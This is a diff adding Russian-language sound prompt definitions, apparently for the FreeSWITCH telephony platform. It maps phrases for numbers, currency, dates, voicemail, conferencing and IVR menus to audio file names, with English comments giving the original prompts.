+		<prompt phrase="Шесть" filename="6.wav"/>
+		<prompt phrase="Шестая" filename="h-6f.wav"/>
+		<prompt phrase="Шестого" filename="h-6x.wav"/>
+		<prompt phrase="Шестой" filename="h-6m.wav"/>
+		<prompt phrase="Шестое" filename="h-6n.wav"/>
+		<prompt phrase="Шести" filename="h-6xx.wav"/>
+		<prompt phrase="Семь" filename="7.wav"/>
+		<prompt phrase="Седьмая" filename="h-7f.wav"/>
+		<prompt phrase="Седьмого" filename="h-7x.wav"/>
+		<prompt phrase="Седьмой" filename="h-7m.wav"/>
+		<prompt phrase="Седьмое" filename="h-7n.wav"/>
+		<prompt phrase="Семи" filename="h-7xx.wav"/>
+		<prompt phrase="Восемь" filename="8.wav"/>
+		<prompt phrase="Восьмая" filename="h-8f.wav"/>
+		<prompt phrase="Восьмого" filename="h-8x.wav"/>
+		<prompt phrase="Восьмой" filename="h-8m.wav"/>
+		<prompt phrase="Восьмое" filename="h-8n.wav"/>
+		<prompt phrase="Восьми" filename="h-8xx.wav"/>
+		<prompt phrase="Девять" filename="9.wav"/>
+		<prompt phrase="Девятая" filename="h-9f.wav"/>
+		<prompt phrase="Девятого" filename="h-9x.wav"/>
+		<prompt phrase="Девятый" filename="h-9m.wav"/>
+		<prompt phrase="Девятое" filename="h-9n.wav"/>
+		<prompt phrase="Девяти" filename="h-9xx.wav"/>
+		<prompt phrase="Десять" filename="10.wav"/>
+		<prompt phrase="Десятая" filename="h-10f.wav"/>
+		<prompt phrase="Десятого" filename="h-10x.wav"/>
+		<prompt phrase="Десятый" filename="h-10m.wav"/>
+		<prompt phrase="Десятое" filename="h-10n.wav"/>
+		<prompt phrase="Десяти" filename="h-10xx.wav"/>
+		<prompt phrase="Одинадцать" filename="11.wav"/>
+		<prompt phrase="Одинадцатая" filename="h-11f.wav"/>
+		<prompt phrase="Одинадцатого" filename="h-11x.wav"/>
+		<prompt phrase="Одинадцатый" filename="h-11m.wav"/>
+		<prompt phrase="Одинадцатое" filename="h-11n.wav"/>
+		<prompt phrase="Одинадцати" filename="h-11xx.wav"/>
+		<prompt phrase="Двенадцать" filename="12.wav"/>
+		<prompt phrase="Двенадцатая" filename="h-12f.wav"/>
+		<prompt phrase="Двенадцатого" filename="h-12x.wav"/>
+		<prompt phrase="Двенадцатый" filename="h-12m.wav"/>
+		<prompt phrase="Двенадцатое" filename="h-12n.wav"/>
+		<prompt phrase="Двенадцати" filename="h-12xx.wav"/>
+		<prompt phrase="Тринадцать" filename="13.wav"/>
+		<prompt phrase="Тринадцатая" filename="h-13f.wav"/>
+		<prompt phrase="Тринадцатого" filename="h-13x.wav"/>
+		<prompt phrase="Тринадцатый" filename="h-13m.wav"/>
+		<prompt phrase="Тринадцатое" filename="h-13n.wav"/>
+		<prompt phrase="Тринадцати" filename="h-13xx.wav"/>
+		<prompt phrase="Четырнадцать" filename="14.wav"/>
+		<prompt phrase="Четырнадцатая" filename="h-14f.wav"/>
+		<prompt phrase="Четырнадцатого" filename="h-14x.wav"/>
+		<prompt phrase="Четырнадцатый" filename="h-14m.wav"/>
+		<prompt phrase="Четырнадцатое" filename="h-14n.wav"/>
+		<prompt phrase="Четырнадцати" filename="h-14xx.wav"/>
+		<prompt phrase="Пятнадцать" filename="15.wav"/>
+		<prompt phrase="Пятнадцатая" filename="h-15f.wav"/>
+		<prompt phrase="Пятнадцатого" filename="h-15x.wav"/>
+		<prompt phrase="Пятнадцатый" filename="h-15m.wav"/>
+		<prompt phrase="Пятнадцатое" filename="h-15n.wav"/>
+		<prompt phrase="Пятнадцати" filename="h-15xx.wav"/>
+		<prompt phrase="Шестнадцать" filename="16.wav"/>
+		<prompt phrase="Шестнадцатая" filename="h-16f.wav"/>
+		<prompt phrase="Шестнадцатого" filename="h-16x.wav"/>
+		<prompt phrase="Шестнадцатый" filename="h-16m.wav"/>
+		<prompt phrase="Шестнадцатое" filename="h-16n.wav"/>
+		<prompt phrase="Шестнадцати" filename="h-16xx.wav"/>
+		<prompt phrase="Семнадцать" filename="17.wav"/>
+		<prompt phrase="Семнадцатая" filename="h-17f.wav"/>
+		<prompt phrase="Семнадцатого" filename="h-17x.wav"/>
+		<prompt phrase="Семнадцатый" filename="h-17m.wav"/>
+		<prompt phrase="Семнадцатое" filename="h-17n.wav"/>
+		<prompt phrase="Семнадцати" filename="h-17xx.wav"/>
+		<prompt phrase="Восемнадцать" filename="18.wav"/>
+		<prompt phrase="Восемнадцатая" filename="h-18f.wav"/>
+		<prompt phrase="Восемнадцатого" filename="h-18x.wav"/>
+		<prompt phrase="Восемнадцатый" filename="h-18m.wav"/>
+		<prompt phrase="Восемнадцатое" filename="h-18n.wav"/>
+		<prompt phrase="Восемнадцати" filename="h-18xx.wav"/>
+		<prompt phrase="Девятнадцать" filename="19.wav"/>
+		<prompt phrase="Девятнадцатая" filename="h-19f.wav"/>
+		<prompt phrase="Девятнадцатого" filename="h-19x.wav"/>
+		<prompt phrase="Девятнадцатый" filename="h-19m.wav"/>
+		<prompt phrase="Девятнадцатое" filename="h-19n.wav"/>
+		<prompt phrase="Девятнадцати" filename="h-19xx.wav"/>
+		<prompt phrase="Двадцать" filename="20.wav"/>
+		<prompt phrase="Двадцатая" filename="h-20f.wav"/>
+		<prompt phrase="Двадцатого" filename="h-20x.wav"/>
+		<prompt phrase="Двадцатый" filename="h-20m.wav"/>
+		<prompt phrase="Двадцатое" filename="h-20n.wav"/>
+		<prompt phrase="Двадцати" filename="h-20xx.wav"/>
+		<prompt phrase="Тридцать" filename="30.wav"/>
+		<prompt phrase="Тридцатая" filename="h-30f.wav"/>
+		<prompt phrase="Тридцатого" filename="h-30x.wav"/>
+		<prompt phrase="Тридцатый" filename="h-30m.wav"/>
+		<prompt phrase="Тридцатое" filename="h-30n.wav"/>
+		<prompt phrase="Тридцати" filename="h-30xx.wav"/>
+		<prompt phrase="Сорок" filename="40.wav"/>
+		<prompt phrase="Сороковая" filename="h-40f.wav"/>
+		<prompt phrase="Сорокового" filename="h-40x.wav"/>
+		<prompt phrase="Сороковой" filename="h-40m.wav"/>
+		<prompt phrase="Сороковое" filename="h-40n.wav"/>
+		<prompt phrase="Сорока" filename="h-40xx.wav"/>
+		<prompt phrase="Пятьдесят" filename="50.wav"/>
+		<prompt phrase="Пятидесятая" filename="h-50f.wav"/>
+		<prompt phrase="Пятидесятого" filename="h-50x.wav"/>
+		<prompt phrase="Пятидесятый" filename="h-50m.wav"/>
+		<prompt phrase="Пятидесятое" filename="h-50n.wav"/>
+		<prompt phrase="Пятидесяти" filename="h-50xx.wav"/>
+		<prompt phrase="Шестьдесят" filename="60.wav"/>
+		<prompt phrase="Шестидесятая" filename="h-60f.wav"/>
+		<prompt phrase="Шестидесятого" filename="h-60x.wav"/>
+		<prompt phrase="Шестидесятый" filename="h-60m.wav"/>
+		<prompt phrase="Шестидесятое" filename="h-60n.wav"/>
+		<prompt phrase="Шестидесяти" filename="h-60xx.wav"/>
+		<prompt phrase="Семьдесят" filename="70.wav"/>
+		<prompt phrase="Семидесятая" filename="h-70f.wav"/>
+		<prompt phrase="Семидесятого" filename="h-70x.wav"/>
+		<prompt phrase="Семидесятый" filename="h-70m.wav"/>
+		<prompt phrase="Семидесятое" filename="h-70n.wav"/>
+		<prompt phrase="Семидесяти" filename="h-70xx.wav"/>
+		<prompt phrase="Восемьдесят" filename="80.wav"/>
+		<prompt phrase="Восьмидесятая" filename="h-80f.wav"/>
+		<prompt phrase="Восемидесятого" filename="h-80x.wav"/>
+		<prompt phrase="Восемидесятый" filename="h-80m.wav"/>
+		<prompt phrase="Восьмидесятое" filename="h-80n.wav"/>
+		<prompt phrase="Восьмидесяти" filename="h-80xx.wav"/>
+		<prompt phrase="Девяносто" filename="90.wav"/>
+		<prompt phrase="Девяностая" filename="h-90f.wav"/>
+		<prompt phrase="Девяностого" filename="h-90x.wav"/>
+		<prompt phrase="Девяностый" filename="h-90m.wav"/>
+		<prompt phrase="Девяностое" filename="h-90n.wav"/>
+		<prompt phrase="Девяноста" filename="h-90xx.wav"/>
+		<prompt phrase="Сто" filename="100.wav"/>
+		<prompt phrase="Сотая" filename="h-100f.wav"/>
+		<prompt phrase="Сотого" filename="h-100x.wav"/>
+		<prompt phrase="Сотый" filename="h-100m.wav"/>
+		<prompt phrase="Сотое" filename="h-100n.wav"/>
+		<prompt phrase="Ста" filename="h-100xx.wav"/>
+		<prompt phrase="Двести" filename="200.wav"/>
+		<prompt phrase="Двухсотая" filename="h-200f.wav"/>
+		<prompt phrase="Двухсотого" filename="h-200x.wav"/>
+		<prompt phrase="Двухсотый" filename="h-200m.wav"/>
+		<prompt phrase="Двухсотое" filename="h-200n.wav"/>
+		<prompt phrase="Двухсот" filename="h-200xx.wav"/>
+		<prompt phrase="Триста" filename="300.wav"/>
+		<prompt phrase="Трёхсотая" filename="h-300f.wav"/>
+		<prompt phrase="Трёхсотого" filename="h-300x.wav"/>
+		<prompt phrase="Трёхсотый" filename="h-300m.wav"/>
+		<prompt phrase="Трёхсотое" filename="h-300n.wav"/>
+		<prompt phrase="Трёхсот" filename="h-300xx.wav"/>
+		<prompt phrase="Четыреста" filename="400.wav"/>
+		<prompt phrase="Четырёхсотая" filename="h-400f.wav"/>
+		<prompt phrase="Четырёхсотого" filename="h-400x.wav"/>
+		<prompt phrase="Четырёхсотый" filename="h-400m.wav"/>
+		<prompt phrase="Четырёхсотое" filename="h-400n.wav"/>
+		<prompt phrase="Четырёхсот" filename="h-400xx.wav"/>
+		<prompt phrase="Пятьсот" filename="500.wav"/>
+		<prompt phrase="Пятисотая" filename="h-500f.wav"/>
+		<prompt phrase="Пятисотого" filename="h-500x.wav"/>
+		<prompt phrase="Пятисотый" filename="h-500m.wav"/>
+		<prompt phrase="Пятисотое" filename="h-500n.wav"/>
+		<prompt phrase="Пятисот" filename="h-500xx.wav"/>
+		<prompt phrase="Шестьсот" filename="600.wav"/>
+		<prompt phrase="Шестисотая" filename="h-600f.wav"/>
+		<prompt phrase="Шестисотого" filename="h-600x.wav"/>
+		<prompt phrase="Шестисотый" filename="h-600m.wav"/>
+		<prompt phrase="Шестисотое" filename="h-600n.wav"/>
+		<prompt phrase="Шестисот" filename="h-600xx.wav"/>
+		<prompt phrase="Семьсот" filename="700.wav"/>
+		<prompt phrase="Семисотая" filename="h-700f.wav"/>
+		<prompt phrase="Семисотого" filename="h-700x.wav"/>
+		<prompt phrase="Семисотый" filename="h-700m.wav"/>
+		<prompt phrase="Семисотое" filename="h-700n.wav"/>
+		<prompt phrase="Семисот" filename="h-700xx.wav"/>
+		<prompt phrase="Восемьсот" filename="800.wav"/>
+		<prompt phrase="Восьмисотая" filename="h-800f.wav"/>
+		<prompt phrase="Восьмисотого" filename="h-800x.wav"/>
+		<prompt phrase="Восьмисотый" filename="h-800m.wav"/>
+		<prompt phrase="Восьмисотое" filename="h-800n.wav"/>
+		<prompt phrase="Восьмисот" filename="h-800xx.wav"/>
+		<prompt phrase="Девятьсот" filename="900.wav"/>
+		<prompt phrase="Девятисотая" filename="h-900f.wav"/>
+		<prompt phrase="Девятосотого" filename="h-900x.wav"/>
+		<prompt phrase="Девятисотый" filename="h-900m.wav"/>
+		<prompt phrase="Девятисотое" filename="h-900n.wav"/>
+		<prompt phrase="Девятисот" filename="h-900xx.wav"/>
+		<prompt phrase="Тысяча" filename="thousand.wav"/>
+		<prompt phrase="Тысячи" filename="thousands-i.wav"/>
+		<prompt phrase="Тысяч" filename="thousands.wav"/>
+		<prompt phrase="Тысячная" filename="h-thousandf.wav"/>
+		<prompt phrase="Тысячного" filename="h-thousandx.wav"/>
+		<prompt phrase="Тысячный" filename="h-thousandm.wav"/>
+		<prompt phrase="Тысячное" filename="h-thousandn.wav"/>
+		<prompt phrase="Тысячных" filename="h-thousandxxx.wav"/>
+		<prompt phrase="Миллион" filename="million.wav"/>
+		<prompt phrase="Миллиона" filename="million-a.wav"/>
+		<prompt phrase="Миллионов" filename="millions.wav"/>
+		<prompt phrase="Миллионная" filename="h-millionf.wav"/>
+		<prompt phrase="Миллионного" filename="h-millionx.wav"/>
+		<prompt phrase="Миллионный" filename="h-millionm.wav"/>
+		<prompt phrase="Миллионное" filename="h-millionn.wav"/>
+		<prompt phrase="Миллионных" filename="h-millionxxx.wav"/>
+		<prompt phrase="Точка" filename="dot.wav"/>
+		<prompt phrase="Точка" filename="period.wav"/>
+<!--period -->
+		<prompt phrase="Точка" filename="point.wav"/>
+		<prompt phrase="Решётка" filename="pound.wav"/>
+		<prompt phrase="Звёздочка" filename="star.wav"/>
+	</digits>
+	<currency>
+		<prompt phrase="и" filename="and.wav"/>
+		<prompt phrase="Цент" filename="cent.wav"/>
+		<prompt phrase="центральный" filename="central.wav"/>
+		<prompt phrase="Центов в минуту" filename="cents-per-minute.wav"/>
+		<prompt phrase="Центы" filename="cents.wav"/>
+		<prompt phrase="Доллар" filename="dollar.wav"/>
+		<prompt phrase="Долларов" filename="dollars.wav"/>
+		<prompt phrase="Минус" filename="minus.wav"/>
+		<prompt phrase="Отрицательный" filename="negative.wav"/>
+		<prompt phrase="Копеек" filename="kopeck-i.wav"/>
+		<prompt phrase="Копейка" filename="kopeck.wav"/>
+		<prompt phrase="Копейки" filename="kopecks.wav"/>
+		<prompt phrase="Рубль" filename="ruble.wav"/>
+		<prompt phrase="Рубля" filename="ruble-a.wav"/>
+		<prompt phrase="Рублей" filename="rubles.wav"/>
+	</currency>
+	<time>
+		<prompt phrase="до полудня" filename="a-m.wav"/>
+		<prompt phrase="В" filename="at.wav"/>
+		<prompt phrase="Воскресенье" filename="day-0.wav"/>
+		<prompt phrase="Понедельник" filename="day-1.wav"/>
+		<prompt phrase="Вторник" filename="day-2.wav"/>
+		<prompt phrase="Среда" filename="day-3.wav"/>
+		<prompt phrase="Четверг" filename="day-4.wav"/>
+		<prompt phrase="Пятница" filename="day-5.wav"/>
+		<prompt phrase="Суббота" filename="day-6.wav"/>
+		<prompt phrase="час" filename="hour.wav"/>
+		<prompt phrase="часа" filename="hours-a.wav"/>
+		<prompt phrase="часов" filename="hours.wav"/>
+		<prompt phrase="минута" filename="minute.wav"/>
+		<prompt phrase="Минуты" filename="minutes-i.wav"/>
+		<prompt phrase="минут" filename="minutes.wav"/>
+		<prompt phrase="секунда" filename="second.wav"/>
+		<prompt phrase="секунды" filename="seconds-i.wav"/>
+		<prompt phrase="секунд" filename="seconds.wav"/>
+		<prompt phrase="января" filename="mon-0.wav"/>
+		<prompt phrase="февраля" filename="mon-1.wav"/>
+		<prompt phrase="марта" filename="mon-2.wav"/>
+		<prompt phrase="апреля" filename="mon-3.wav"/>
+		<prompt phrase="мая" filename="mon-4.wav"/>
+		<prompt phrase="июня" filename="mon-5.wav"/>
+		<prompt phrase="июля" filename="mon-6.wav"/>
+		<prompt phrase="августа" filename="mon-7.wav"/>
+		<prompt phrase="сентября" filename="mon-8.wav"/>
+		<prompt phrase="октября" filename="mon-9.wav"/>
+		<prompt phrase="ноября" filename="mon-10.wav"/>
+		<prompt phrase="декабря" filename="mon-11.wav"/>
+		<prompt phrase="после полудня" filename="p-m.wav"/>
+		<prompt phrase="сегодня" filename="today.wav"/>
+		<prompt phrase="завтра" filename="tomorrow.wav"/>
+		<prompt phrase="вчера" filename="yesterday.wav"/>
+		<prompt phrase="Год" filename="year.wav"/>
+		<prompt phrase="Года" filename="h-year.wav"/>
+		<prompt phrase="Годов" filename="years.wav"/>
+		<prompt phrase="Лет" filename="yearsx.wav"/>
+	</time>
+	<voicemail>
+		<prompt phrase="Абонент с номером" filename="vm-person.wav"/>
+   <!-- The person at extension-->
+		<prompt phrase="Помечено как важное" filename="vm-marked_urgent.wav"/>
+ <!-- marked urgent-->
+		<prompt phrase="отправлен на электронную почту" filename="vm-emailed.wav"/>
+<!-- emailed-->
+		<prompt phrase="у Вас" filename="vm-you_have.wav"/>
+<!--you have    -->
+		<prompt phrase="Пожалуйста, введите свой идентификатор, завершив нажатием на клавишу" filename="vm-enter_id.wav"/>
+<!--   please enter your i d, followed by -->
+		<prompt phrase="Пожалуйста, введите свой пароль , завершив нажатием на клавишу" filename="vm-enter_pass.wav"/>
+<!-- please enter your password, followed by   -->
+		<prompt phrase="Неправильный номер" filename="vm-fail_auth.wav"/>
+<!-- login incorrect   -->
+		<prompt phrase="Добро пожаловать в Вашу голосовую почту" filename="vm-hello.wav"/>
+<!-- welcome to your voicemail   -->
+		<prompt phrase="До свидания" filename="vm-goodbye.wav"/>
+<!--goodbye    -->
+		<prompt phrase="После сигнала, пожалуйста, сообщите свое имя, для окончания записи нажмите любую клавишу или перестаньте говорить." filename="vm-record_name1.wav"/>
+<!--at the tone please record your name, press any key or stop talking to end the recording.    -->
+		<prompt phrase="Выберите приветствие от единицы до девяти" filename="vm-choose_greeting_choose.wav"/>
+<!--choose a greeting between 1 and 9    -->
+		<prompt phrase="Неправильное значение" filename="vm-choose_greeting_fail.wav"/>
+<!--invalid value    -->
+		<prompt phrase="Слишком много неудачных попыток" filename="vm-abort.wav"/>
+<!--too many failed attempts    -->
+		<prompt phrase="Для изменения Вашего пароля" filename="vm-change_password.wav"/>
+<!-- to change your password   -->
+		<prompt phrase="После сигнала, запишите свое приветствие, для окончания записи нажмите любую клавишу или перестаньте говорить" filename="vm-to_record_greeting.wav"/>
+<!-- record your greeting at the tone, press any key or stop talking to end the recording   -->
+		<prompt phrase="После сигнала, запишите свое сообщение, для окончания записи нажмите любую клавишу или перестаньте говорить" filename="vm-record_message.wav"/>
+<!--record your message at the tone, press any key or stop talking to end the recording   -->
+		<prompt phrase="не доступно" filename="vm-play_greeting.wav"/>
+<!-- is not available   -->
+		<prompt phrase="новых срочных" filename="vm-urgent-newx.wav"/>
+<!-- urgent new   -->
+		<prompt phrase="новое срочное" filename="vm-urgent-new.wav"/>
+<!--    -->
+		<prompt phrase="новое" filename="vm-new.wav"/>
+<!-- new   -->
+		<prompt phrase="новых" filename="vm-newx.wav"/>
+<!--    -->
+		<prompt phrase="срочное сообщение сохранено" filename="vm-urgent-saved.wav"/>
+<!--urgent saved    -->
+		<prompt phrase="сохранено" filename="vm-saved.wav"/>
+<!--saved    -->
+		<prompt phrase="сообщение" filename="vm-message.wav"/>
+<!--message    -->
+		<prompt phrase="сообщений" filename="vm-messagex.wav"/>
+<!--messages    -->
+		<prompt phrase="сообщения" filename="vm-messages.wav"/>
+<!-- message   -->
+		<prompt phrase="нажмите" filename="vm-press.wav"/>
+<!-- press   -->
+		<prompt phrase="чтобы прослушать новые сообщения" filename="vm-listen_new.wav"/>
+<!-- to listen to new messages   -->
+		<prompt phrase="для прослушивания сохраненных сообщений" filename="vm-listen_saved.wav"/>
+<!-- to listen to saved messages   -->
+		<prompt phrase="для дополнительных параметров" filename="vm-advanced.wav"/>
+<!-- for advanced options   -->
+		<prompt phrase="для выхода" filename="vm-to_exit.wav"/>
+<!-- to exit   -->
+		<prompt phrase="для записи приветствия" filename="vm-record_greeting.wav"/>
+<!-- to record a greeting   -->
+		<prompt phrase="для выбора приветствия" filename="vm-choose_greeting.wav"/>
+<!-- to choose greeting   -->
+		<prompt phrase="для записи Вашего имени" filename="vm-record_name2.wav"/>
+<!-- to record your name   -->
+		<prompt phrase="для перехода в главное меню" filename="vm-main_menu.wav"/>
+<!-- for the main menu   -->
+		<prompt phrase="прослушать запись" filename="vm-listen_to_recording.wav"/>
+<!--  to listen to the recording  -->
+		<prompt phrase="сохранить запись" filename="vm-save_recording.wav"/>
+<!-- to save the recording   -->
+		<prompt phrase="записать" filename="vm-rerecord.wav"/>
+<!--  to rerecord  -->
+		<prompt phrase="пометить это сообщение как срочное" filename="vm-mark-urgent.wav"/>
+<!--  to mark this message urgent  -->
+		<prompt phrase="для продолжения" filename="vm-continue.wav"/>
+<!--  to continue  -->
+		<prompt phrase="прослушать запись снова" filename="vm-listen_to_recording_again.wav"/>
+<!-- to listen to the recording again   -->
+		<prompt phrase="удалить запись" filename="vm-delete_recording.wav"/>
+<!-- to delete the recording   -->
+		<prompt phrase="переслать это сообщение" filename="vm-to_forward.wav"/>
+<!-- to forward the recording to your email   -->
+		<prompt phrase="переслать запись на электронную почту" filename="vm-forward_to_email.wav"/>
+<!--    -->
+		<prompt phrase="приветствие" filename="vm-greeting.wav"/>
+<!--greeting    -->
+		<prompt phrase="выбрано" filename="vm-selected.wav"/>
+<!-- selected   -->
+		<prompt phrase="не доступен" filename="vm-not_available.wav"/>
+<!--  is not available  -->
+		<prompt phrase="сообщение номер" filename="vm-message_number.wav"/>
+<!-- message number   -->
+		<prompt phrase="удалено" filename="vm-deleted.wav"/>
+<!-- deleted   -->
+		<prompt phrase="Ваша запись короче минимально допустимой длинны, пожалуйста попробуйте снова" filename="vm-too-small.wav"/>
+<!--  Your recording is below the minimum acceptable length, please try again  -->
+		<prompt phrase="в папке Входящие" filename="vm-in_folder.wav"/>
+<!-- in folder inbox   -->
+		<prompt phrase="что бы перезвонить" filename="vm-return_call_1.wav"/>
+<!-- to return the call now   -->
+		<prompt phrase="для возврата вызова" filename="vm-return_call.wav"/>
+<!-- to return the call now   -->
+		<prompt phrase="Срочное" filename="vm-urgent.wav"/>
+<!--  urgent  -->
+		<prompt phrase="добавить вступление к сообщению" filename="vm-forward_add_intro.wav"/>
+<!--  to add an introduction to this message  -->
+		<prompt phrase="для того что бы послать собощение" filename="vm-send_message_now.wav"/>
+<!--  to send this messege now  -->
+		<prompt phrase="пожалуйста, введите добавочный номер для отправки сообщения" filename="vm-forward_enter_ext.wav"/>
+<!--please, enter the extention to forward this message to    -->
+		<prompt phrase="Неправильный добавочный номер" filename="vm-that_was_an_invalid_ext.wav"/>
+<!--    -->
+		<prompt phrase="Почтовый ящик переполнен. Пожалуйста перезвоните позже" filename="vm-mailbox_full.wav"/>
+<!--  That mailbox is full. Please try your call again later.  -->
+	</voicemail>
+	<conference>
+		<prompt phrase="NULL" filename="conf-ack.wav" type="tone"/>
+<!--    -->
+		<prompt phrase="NULL" filename="conf-nack.wav" type="tone"/>
+<!--    -->
+		<prompt phrase="Ваш микрофон отключен" filename="conf-muted.wav"/>
+<!-- You are now muted.   -->
+		<prompt phrase="Ваш микрофон включён" filename="conf-unmuted.wav"/>
+<!-- You are now unmuted.   -->
+		<prompt phrase="Вы единственный участник конференции" filename="conf-alone.wav"/>
+<!-- You are currently the only person in this conference.   -->
+		<prompt phrase="NULL" filename="conf-perpetual.wav" type="tone"/>
+<!--    -->
+		<prompt phrase="NULL" filename="conf-enter.wav" type="tone"/>
+<!--    -->
+		<prompt phrase="NULL" filename="conf-exit.wav" type="tone"/>
+<!--    -->
+		<prompt phrase="Вы были отключены от конференции" filename="conf-kicked.wav"/>
+<!--  You have been kicked from this conference.  -->
+		<prompt phrase="Эта конференция заблокирована" filename="conf-locked.wav"/>
+<!--  This conference is locked.  -->
+		<prompt phrase="Конференция заблокирована" filename="conf-is-locked.wav"/>
+<!--  The conference is now locked.  -->
+		<prompt phrase="Конференция разблокирована" filename="conf-is-unlocked.wav"/>
+<!--   The conference is now unlocked. -->
+		<prompt phrase="Пожалуйста, введите пин-код конференции" filename="conf-pin.wav"/>
+<!--  Please enter the conference pin number.  -->
+		<prompt phrase="Неправильный пин-код, попробуйте снова" filename="conf-bad-pin.wav"/>
+<!-- Invalid pin number, try again.   -->
+		<prompt phrase="До свидания" filename="conf-goodbye.wav"/>
+<!-- goodbye   -->
+		<prompt phrase="Добро пожаловать в конференцию" filename="conf-welcome.wav"/>
+<!--Welcome to the conference.    -->
+	</conference>
+	<ivr>
+		<prompt phrase="Номер счета" filename="ivr-account_number.wav"/>
+<!-- Account number   -->
+		<prompt phrase="Соединение с вызывающим абонентом" filename="ivr-connect_to_caller.wav"/>
+<!--Connect to caller    -->
+		<prompt phrase="Если вам известен добавочный номер вызываемого абонента, пожалуйста введите его сейчас" filename="ivr-enter_ext_pound.wav"/>
+<!-- If you know your party's extension, please enter it now   -->
+		<prompt phrase="Пожалуйста, введите добавочный номер абонента завершив нажатием на клавишу решётка" filename="ivr-enter_ext.wav"/>
+<!-- Please enter an extension followed by the pound sign-->
+		<prompt phrase="Для этого абонента" filename="ivr-for_this_person.wav"/>
+<!-- For this person   -->
+		<prompt phrase="Пожалуйста, оставайтесь на линии, идет соединение" filename="ivr-hold_connect_call.wav"/>
+<!-- Please hold while I connect your call   -->
+		<prompt phrase="Извините" filename="ivr-im_sorry.wav"/>
+<!-- I'm sorry   -->
+		<prompt phrase="Пожалуйста" filename="ivr-please.wav"/>
+<!--  Please  -->
+		<prompt phrase="Пожалуйста, перезвоните нам в …" filename="ivr-please_return_our_call_at.wav"/>
+<!--  Please return our call at  -->
+		<prompt phrase="относительно номера ссылки" filename="ivr-regarding_reference_number.wav"/>
+<!-- Regarding reference number   -->
+		<prompt phrase="Это пример голосового подменю" filename="ivr-sample_submenu.wav"/>
+<!-- This is a sample IVR submenu...   -->
+		<prompt phrase="Пожалуйста, представьтесь после сигнала" filename="ivr-say_name.wav"/>
+<!-- Please say your name after the tone   -->
+		<prompt phrase="Перенаправить на голосовую почту" filename="ivr-send_to_voicemail.wav"/>
+<!--  Send this caller to voicemail  -->
+		<prompt phrase="Для разговора с представителем по обслуживанию клиентов" filename="ivr-speak_to_a_customer_service_representative.wav"/>
+<!-- To speak to a customer service representative   -->
+		<prompt phrase="принять сообщение." filename="ivr-take_a_message.wav"/>
+<!--  Take a message  -->
+		<prompt phrase="Спасибо" filename="ivr-thank_you.wav"/>
+<!-- Thank you   -->
+		<prompt phrase="Неправильное значение" filename="ivr-that_was_an_invalid_entry.wav"/>
+<!-- That was an invalid entry   -->
+		<prompt phrase="Этот звонок от" filename="ivr-this_is_a_call_from.wav"/>
+<!-- This is a call from   -->
+		<prompt phrase="это голосовое меню позволит Вам протестировать некоторые функции" filename="ivr-this_ivr_will_let_you_test_features.wav"/>
+<!-- This IVR will let you test some of the features...   -->
+		<prompt phrase="Для того чтобы набрать конференцию ФС ___" filename="ivr-to_call_the_freeswitch_conference.wav"/>
+<!--  To call the FreeSWITCH conference  -->
+		<prompt phrase="Для выполнения эхо-теста в ФС" filename="ivr-to_do_a_freeswitch_echo_test.wav"/>
+<!--  To do a FreeSWITCH echo test  -->
+		<prompt phrase="Для выполнения эхо-теста free world dialed" filename="ivr-to_do_a_fwd_echo_test.wav"/>
+<!--  To do a fwd echo test  -->
+		<prompt phrase="чтобы прослушать пример голосового подменю" filename="ivr-to_hear_sample_submenu.wav"/>
+<!--  To hear a sample IVR submenu  -->
+		<prompt phrase="Чтобы услышать кричащих обезьян" filename="ivr-to_hear_screaming_monkeys.wav"/>
+<!-- To hear screaming monkeys   -->
+		<prompt phrase="Для прослушивания списка мелодий в режиме ожидания" filename="ivr-to_listen_to_moh.wav"/>
+<!-- To list to music on hold   -->
+		<prompt phrase="Для повтора этих параметров" filename="ivr-to_repeat_these_options.wav"/>
+<!-- To repeat these options   -->
+		<prompt phrase="Для возврата к предыдущему меню" filename="ivr-to_return_to_previous_menu.wav"/>
+<!-- To return to the previous menu   -->
+		<prompt phrase="Для соединения с оператором" filename="ivr-to_speak_with_an_operator.wav"/>
+<!-- To speak with an operator   -->
+		<prompt phrase="Добро пожаловать в FreeSwitch, будущее телефонии" filename="ivr-welcome_to_freeswitch.wav"/>
+<!-- Welcome to FreeSWITCH, the future of telephony   -->
+		<prompt phrase="Вы можете выйти в любое время повесив трубку" filename="ivr-you_may_exit_by_hanging_up.wav"/>
+<!-- You may exit at any time by simply hanging up   -->
+		<prompt phrase="или" filename="ivr-or.wav"/>
+<!-- or   -->
+		<prompt phrase="не" filename="ivr-not.wav"/>
+<!-- not   -->
+		<prompt phrase="Вызов" filename="ivr-call.wav"/>
+<!-- call   -->
+		<prompt phrase="Вы можете" filename="ivr-you_may.wav"/>
+<!-- You may   -->
+		<prompt phrase="Здравствуйте" filename="ivr-hello.wav"/>
+<!-- hello   -->
+		<prompt phrase="Используя клавиатуру телефона…" filename="ivr-use_telephone_keypad.wav"/>
+<!-- Using your telephone keypad...   -->
+		<prompt phrase="Пожалуйста, назовите имя сотрудника, которому пытаетесь дозвониться" filename="ivr-spell_name.wav"/>
+<!-- please spell the name of the person you are trying to reach.   -->
+		<prompt phrase="Сначала фамилия" filename="ivr-last_name_first.wav"/>
+<!--Last name firs    -->
+		<prompt phrase="Сначала имя" filename="ivr-first_name_first.wav"/>
+<!--First name first    -->
+		<prompt phrase="Нажмите 1 для Q или Z." filename="ivr-press_one_q_or_z.wav"/>
+<!--Press 1 for Q or Z.    -->
+		<prompt phrase="Отдел продаж" filename="ivr-sales.wav"/>
+<!-- Sales   -->
+		<prompt phrase="Центр обслуживания клиентов" filename="ivr-customer_service.wav"/>
+<!-- Customer service   -->
+		<prompt phrase="Отдел технической поддержки" filename="ivr-technical_support.wav"/>
+<!-- Technical support   -->
+		<prompt phrase="Оператор" filename="ivr-operator.wav"/>
+<!-- Operator   -->
+		<prompt phrase="Вы набрали несуществующий добавочный номер" filename="ivr-you_have_dialed_an_invalid_extension.wav"/>
+<!--You have dialed an invalid extension.    -->
+		<prompt phrase="Пожалйста, наберите добавочный номер и нажмите клавишу решетка" filename="ivr-please_enter_extension_followed_by_pound.wav"/>
+<!--Please enter your extension, followed by the pound sign.    -->
+		<prompt phrase="Пожалуйста введите ваш пинкод и нажмите клавишу решётка" filename="ivr-please_enter_pin_followed_by_pound.wav"/>
+<!-- Please enter your pin number, followed by the pound sign.   -->
+		<prompt phrase="Ваш пин код или номер не верны" filename="ivr-pin_or_extension_is-invalid.wav"/>
+<!--  Your pin number or extension is invalid.  -->
+		<prompt phrase="Вы закрепляете этот телефон за вашей учётной записью" filename="ivr-you_are_about_to_provision_this_phone.wav"/>
+<!-- You are about to provision this phone to your account...   -->
